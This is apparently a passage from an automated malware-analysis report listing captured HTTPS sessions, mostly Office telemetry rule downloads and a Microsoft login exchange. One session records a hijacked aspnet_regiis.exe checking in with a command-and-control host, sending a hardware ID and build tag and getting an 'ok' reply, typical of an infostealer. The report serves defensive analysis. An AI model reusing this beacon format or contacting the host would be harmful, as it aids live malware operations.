cfL4;desc="?proto=TCP&rtt=1524&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21353&delivery_rate=1892417&cwnd=230&unsent_bytes=0&cid=36b72147ceda5cac&ts=1011&x=0"
2024-11-23 14:22:25 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:25 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 6b91e280-c01e-00a2-4f0a-3d2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142225Z-178bfbc474bh5zbqhC1NYCkdug00000004g000000000b1qz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:25 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142225Z-174c587ffdf6b487hC1TEBydsn00000002wg00000000mgct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:25 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142225Z-15b8b599d88f9wfchC1TEBm2kc000000033g00000000dpb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:25 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142225Z-174c587ffdfdwxdvhC1TEB1c4n00000002yg00000000c7tz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:25 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142226Z-15b8b599d889fz52hC1TEB59as00000003300000000046qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49807	20.190.147.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 14:22:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 14:22:27 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 14:21:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C507_SN1 x-ms-request-id: d23e3202-526f-4bfc-bc0f-289b463e5ab2 PPServer: PPV: 30 H: SN1PEPF0002F060 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 14:22:27 GMT Connection: close Content-Length: 11389
2024-11-23 14:22:27 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49813	172.67.223.140	443	6976	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:27 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6X0CEK41BO26TFTCC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1284 Host: disobey-curly.sbs
2024-11-23 14:22:27 UTC	1284	OUT	Data Raw: 2d 2d 36 58 30 43 45 4b 34 31 42 4f 32 36 54 46 54 43 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 36 58 30 43 45 4b 34 31 42 4f 32 36 54 46 54 43 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 58 30 43 45 4b 34 31 42 4f 32 36 54 46 54 43 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 6c 6f 6e 69 6b 69 72 0d Data Ascii: --6X0CEK41BO26TFTCCContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--6X0CEK41BO26TFTCCContent-Disposition: form-data; name="pid"1--6X0CEK41BO26TFTCCContent-Disposition: form-data; name="lid"H8NgCl--lonikir
2024-11-23 14:22:28 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=okvuak7ljo3nqsialvcbsbu34j; expires=Wed, 19-Mar-2025 08:09:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sGgyPsoPHKudFikvEDg94lDWUreXqUqfNKNMPP46fd0MwS%2BDvn%2FC9Ybg7kxQX2u4FmBrPG5HJrtB%2FNSmdyY5SUXDRPPLXrFgKiAEG2DDPledqlNTmaLZA%2FdHIP4g7ExFXLU2ng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cfc0287041c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2201&delivery_rate=1674311&cwnd=210&unsent_bytes=0&cid=c307f5b9d54aa952&ts=760&x=0"
2024-11-23 14:22:28 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142227Z-178bfbc474bxkclvhC1NYC69g400000004g000000000azne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:28 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:28 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142228Z-174c587ffdfgcs66hC1TEB69cs00000002x0000000009zsv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:28 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:28 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142228Z-174c587ffdf8fcgwhC1TEBnn70000000039g0000000019nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:28 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
